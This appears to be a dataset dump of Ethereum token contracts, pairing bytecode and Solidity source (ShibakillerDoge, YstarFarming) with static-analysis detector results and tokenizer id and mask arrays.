156127a857815161278f8882612721565b975061279a83612cda565b92505060018101905061277b565b5085935050505092915050565b6127be81612e30565b82525050565b6127cd81612e73565b82525050565b60006127de82612ccf565b6127e88185612cf8565b93506127f8818560208601612e85565b61280181613002565b840191505092915050565b6000612819602383612cf8565b915061282482613013565b604082019050919050565b600061283c602a83612cf8565b915061284782613062565b604082019050919050565b600061285f602283612cf8565b915061286a826130b1565b604082019050919050565b6000612882601b83612cf8565b915061288d82613100565b602082019050919050565b60006128a5602183612cf8565b91506128b082613129565b604082019050919050565b60006128c8602083612cf8565b91506128d382613178565b602082019050919050565b60006128eb602983612cf8565b91506128f6826131a1565b604082019050919050565b600061290e602583612cf8565b9150612919826131f0565b604082019050919050565b6000612931602483612cf8565b915061293c8261323f565b604082019050919050565b6000612954601783612cf8565b915061295f8261328e565b602082019050919050565b61297381612e5c565b82525050565b61298281612e66565b82525050565b600060208201905061299d6000830184612748565b92915050565b60006040820190506129b86000830185612748565b6129c56020830184612748565b9392505050565b60006040820190506129e16000830185612748565b6129ee602083018461296a565b9392505050565b600060c082019050612a0a6000830189612748565b612a17602083018861296a565b612a2460408301876127c4565b612a3160608301866127c4565b612a3e6080830185612748565b612a4b60a083018461296a565b979650505050505050565b6000602082019050612a6b60008301846127b5565b92915050565b60006020820190508181036000830152612a8b81846127d3565b905092915050565b60006020820190508181036000830152612aac8161280c565b9050919050565b60006020820190508181036000830152612acc8161282f565b9050919050565b60006020820190508181036000830152612aec81612852565b9050919050565b60006020820190508181036000830152612b0c81612875565b9050919050565b60006020820190508181036000830152612b2c81612898565b9050919050565b60006020820190508181036000830152612b4c816128bb565b9050919050565b60006020820190508181036000830152612b6c816128de565b9050919050565b60006020820190508181036000830152612b8c81612901565b9050919050565b60006020820190508181036000830152612bac81612924565b9050919050565b60006020820190508181036000830152612bcc81612947565b9050919050565b6000602082019050612be8600083018461296a565b92915050565b600060a082019050612c03600083018861296a565b612c1060208301876127c4565b8181036040830152612c228186612757565b9050612c316060830185612748565b612c3e608083018461296a565b9695505050505050565b6000602082019050612c5d6000830184612979565b92915050565b6000612c6d612c7e565b9050612c798282612eb8565b919050565b6000604051905090565b600067ffffffffffffffff821115612ca357612ca2612fbf565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612d1482612e5c565b9150612d1f83612e5c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612d5457612d53612f32565b5b828201905092915050565b6000612d6a82612e5c565b9150612d7583612e5c565b925082612d8557612d84612f61565b5b828204905092915050565b6000612d9b82612e5c565b9150612da683612e5c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612ddf57612dde612f32565b5b828202905092915050565b6000612df582612e5c565b9150612e0083612e5c565b925082821015612e1357612e12612f32565b5b828203905092915050565b6000612e2982612e3c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612e7e82612e5c565b9050919050565b60005b83811015612ea3578082015181840152602081019050612e88565b83811115612eb2576000848401525b50505050565b612ec182613002565b810181811067ffffffffffffffff82111715612ee057612edf612fbf565b5b80604052505050565b6000612ef482612e5c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612f2757612f26612f32565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6132c081612e1e565b81146132cb57600080fd5b50565b6132d781612e30565b81146132e257600080fd5b50565b6132ee81612e5c565b81146132f957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122024f672a2544a7648b203641b958ddde92812f34a1cb6752d15560a3e20ba1a4164736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2546, 2620, 20958, 2094, 2487, 2278, 2509, 2546, 22907, 2497, 21057, 2581, 2497, 2575, 2094, 2692, 2278, 10790, 26976, 16147, 2094, 2683, 2475, 2278, 16932, 2546, 24594, 16048, 2575, 1013, 1013, 1056, 13113, 1024, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 11867, 14659, 7274, 10010, 7274, 11705, 18903, 12325, 11890, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1065, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,546
0x96f89d46737e2fb118fa5877fe9754740bd13a17
/** *Submitted for verification at Etherscan.io on 2021-05-10 */ pragma solidity ^0.5.0; contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Safe Math Library // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract ShibakillerDoge is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { name = "ShibakillerDoge"; symbol = "SHIBxDoge"; decimals = 18; _totalSupply = 1000000000000000000000000000000000; balances[msg.sender] = 1000000000000000000000000000000000; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } }
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c806395d89b411161008c578063b5931f7c11610066578063b5931f7c1461044b578063d05c78da14610497578063dd62ed3e146104e3578063e6cb90131461055b576100ea565b806395d89b4114610316578063a293d1e814610399578063a9059cbb146103e5576100ea565b806323b872dd116100c857806323b872dd146101f6578063313ce5671461027c5780633eaaf86b146102a057806370a08231146102be576100ea565b806306fdde03146100ef578063095ea7b31461017257806318160ddd146101d8575b600080fd5b6100f76105a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013757808201518184015260208101905061011c565b50505050905090810190601f1680156101645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610645565b604051808215151515815260200191505060405180910390f35b6101e0610737565b6040518082815260200191505060405180910390f35b6102626004803603606081101561020c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610782565b604051808215151515815260200191505060405180910390f35b610284610a12565b604051808260ff1660ff16815260200191505060405180910390f35b6102a8610a25565b6040518082815260200191505060405180910390f35b610300600480360360208110156102d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a2b565b6040518082815260200191505060405180910390f35b61031e610a74565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561035e578082015181840152602081019050610343565b50505050905090810190601f16801561038b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103cf600480360360408110156103af57600080fd5b810190808035906020019092919080359060200190929190505050610b12565b6040518082815260200191505060405180910390f35b610431600480360360408110156103fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b2c565b604051808215151515815260200191505060405180910390f35b6104816004803603604081101561046157600080fd5b810190808035906020019092919080359060200190929190505050610cb5565b6040518082815260200191505060405180910390f35b6104cd600480360360408110156104ad57600080fd5b810190808035906020019092919080359060200190929190505050610cd5565b6040518082815260200191505060405180910390f35b610545600480360360408110156104f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d02565b6040518082815260200191505060405180910390f35b6105916004803603604081101561057157600080fd5b810190808035906020019092919080359060200190929190505050610d89565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561063d5780601f106106125761010080835404028352916020019161063d565b820191906000526020600020905b81548152906001019060200180831161062057829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600460008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460035403905090565b60006107cd600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610896600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061095f600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610d89565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b60035481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b0a5780601f10610adf57610100808354040283529160200191610b0a565b820191906000526020600020905b815481529060010190602001808311610aed57829003601f168201915b505050505081565b600082821115610b2157600080fd5b818303905092915050565b6000610b77600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c03600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610d89565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808211610cc357600080fd5b818381610ccc57fe5b04905092915050565b600081830290506000831480610cf3575081838281610cf057fe5b04145b610cfc57600080fd5b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000818301905082811015610d9d57600080fd5b9291505056fea265627a7a7231582045934edb882dc3312d87e023e0239b4e3c31f14b172a22a8fcf45e511c42c73564736f6c63430005110032
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2546, 2620, 2683, 2094, 21472, 2581, 24434, 2063, 2475, 26337, 14526, 2620, 7011, 27814, 2581, 2581, 7959, 2683, 23352, 22610, 12740, 2497, 2094, 17134, 27717, 2581, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5709, 1011, 2184, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 1014, 1025, 3206, 9413, 2278, 11387, 18447, 2121, 12172, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 19204, 12384, 2121, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 5703, 1007, 1025, 3853, 21447, 1006, 4769, 19204, 12384, 2121, 1010, 4769, 5247, 2121, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 3588, 1007, 1025, 3853, 4651, 1006, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,547
0x96f9632b25f874769969ff91219fccb6cedf26d2
// SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.5.8; interface IERC20 { function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); function transfer(address recipient, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint amount) external returns (bool); function transferFrom(address sender, address recipient, uint amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract Context { constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping (address => uint) private _balances; mapping (address => mapping (address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns (uint) { return _totalSupply; } function balanceOf(address account) public view returns (uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } library SafeMath { function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns (uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns (uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract YstarFarming is ERC20, ERC20Detailed { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint; address public governance; mapping (address => bool) public minters; constructor () public ERC20Detailed("YstarFarming", "YF", 18) { governance = msg.sender; } function mint(address account, uint amount) public { require(minters[msg.sender], "!minter"); _mint(account, amount); } function setGovernance(address _governance) public { require(msg.sender == governance, "!governance"); governance = _governance; } function addMinter(address _minter) public { require(msg.sender == governance, "!governance"); minters[_minter] = true; } function removeMinter(address _minter) public { require(msg.sender == governance, "!governance"); minters[_minter] = false; } }
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c80635aa6e675116100a2578063a457c2d711610071578063a457c2d714610333578063a9059cbb1461035f578063ab033ea91461038b578063dd62ed3e146103b1578063f46eccc4146103df5761010b565b80635aa6e675146102bb57806370a08231146102df57806395d89b4114610305578063983b2d561461030d5761010b565b80633092afd5116100de5780633092afd51461021d578063313ce56714610245578063395093511461026357806340c10f191461028f5761010b565b806306fdde0314610110578063095ea7b31461018d57806318160ddd146101cd57806323b872dd146101e7575b600080fd5b610118610405565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561015257818101518382015260200161013a565b50505050905090810190601f16801561017f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101b9600480360360408110156101a357600080fd5b506001600160a01b03813516906020013561049b565b604080519115158252519081900360200190f35b6101d56104b8565b60408051918252519081900360200190f35b6101b9600480360360608110156101fd57600080fd5b506001600160a01b038135811691602081013590911690604001356104be565b6102436004803603602081101561023357600080fd5b50356001600160a01b031661054b565b005b61024d6105c4565b6040805160ff9092168252519081900360200190f35b6101b96004803603604081101561027957600080fd5b506001600160a01b0381351690602001356105cd565b610243600480360360408110156102a557600080fd5b506001600160a01b038135169060200135610621565b6102c3610683565b604080516001600160a01b039092168252519081900360200190f35b6101d5600480360360208110156102f557600080fd5b50356001600160a01b0316610697565b6101186106b2565b6102436004803603602081101561032357600080fd5b50356001600160a01b0316610713565b6101b96004803603604081101561034957600080fd5b506001600160a01b03813516906020013561078f565b6101b96004803603604081101561037557600080fd5b506001600160a01b0381351690602001356107fd565b610243600480360360208110156103a157600080fd5b50356001600160a01b0316610811565b6101d5600480360360408110156103c757600080fd5b506001600160a01b0381358116916020013516610891565b6101b9600480360360208110156103f557600080fd5b50356001600160a01b03166108bc565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104915780601f1061046657610100808354040283529160200191610491565b820191906000526020600020905b81548152906001019060200180831161047457829003601f168201915b5050505050905090565b60006104af6104a86108d1565b84846108d5565b50600192915050565b60025490565b60006104cb8484846109c7565b610541846104d76108d1565b61053c85604051806060016040528060288152602001610d86602891396001600160a01b038a166000908152600160205260408120906105156108d1565b6001600160a01b03168152602081019190915260400160002054919063ffffffff610b2916565b6108d5565b5060019392505050565b60055461010090046001600160a01b031633146105a35760408051600160e51b62461bcd02815260206004820152600b6024820152600160a81b6a21676f7665726e616e636502604482015290519081900360640190fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b60055460ff1690565b60006104af6105da6108d1565b8461053c85600160006105eb6108d1565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549063ffffffff610bc316565b3360009081526006602052604090205460ff166106755760408051600160e51b62461bcd0281526020600482015260076024820152600160c91b6610b6b4b73a32b902604482015290519081900360640190fd5b61067f8282610c27565b5050565b60055461010090046001600160a01b031681565b6001600160a01b031660009081526020819052604090205490565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104915780601f1061046657610100808354040283529160200191610491565b60055461010090046001600160a01b0316331461076b5760408051600160e51b62461bcd02815260206004820152600b6024820152600160a81b6a21676f7665726e616e636502604482015290519081900360640190fd5b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b60006104af61079c6108d1565b8461053c85604051806060016040528060258152602001610df760259139600160006107c66108d1565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919063ffffffff610b2916565b60006104af61080a6108d1565b84846109c7565b60055461010090046001600160a01b031633146108695760408051600160e51b62461bcd02815260206004820152600b6024820152600160a81b6a21676f7665726e616e636502604482015290519081900360640190fd5b600580546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60066020526000908152604090205460ff1681565b3390565b6001600160a01b03831661091d57604051600160e51b62461bcd028152600401808060200182810382526024815260200180610dd36024913960400191505060405180910390fd5b6001600160a01b03821661096557604051600160e51b62461bcd028152600401808060200182810382526022815260200180610d3e6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610a0f57604051600160e51b62461bcd028152600401808060200182810382526025815260200180610dae6025913960400191505060405180910390fd5b6001600160a01b038216610a5757604051600160e51b62461bcd028152600401808060200182810382526023815260200180610d1b6023913960400191505060405180910390fd5b610a9a81604051806060016040528060268152602001610d60602691396001600160a01b038616600090815260208190526040902054919063ffffffff610b2916565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610acf908263ffffffff610bc316565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60008184841115610bbb57604051600160e51b62461bcd0281526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610b80578181015183820152602001610b68565b50505050905090810190601f168015610bad5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015610c205760408051600160e51b62461bcd02815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b6001600160a01b038216610c855760408051600160e51b62461bcd02815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600254610c98908263ffffffff610bc316565b6002556001600160a01b038216600090815260208190526040902054610cc4908263ffffffff610bc316565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a3505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa165627a7a72305820a9e17a4c74e6f214c1ff8be7bf96a4f768acd17cf861aed92a0938475a3437700029
{"success": true, "error": null, "results": {}}
true
null
{}
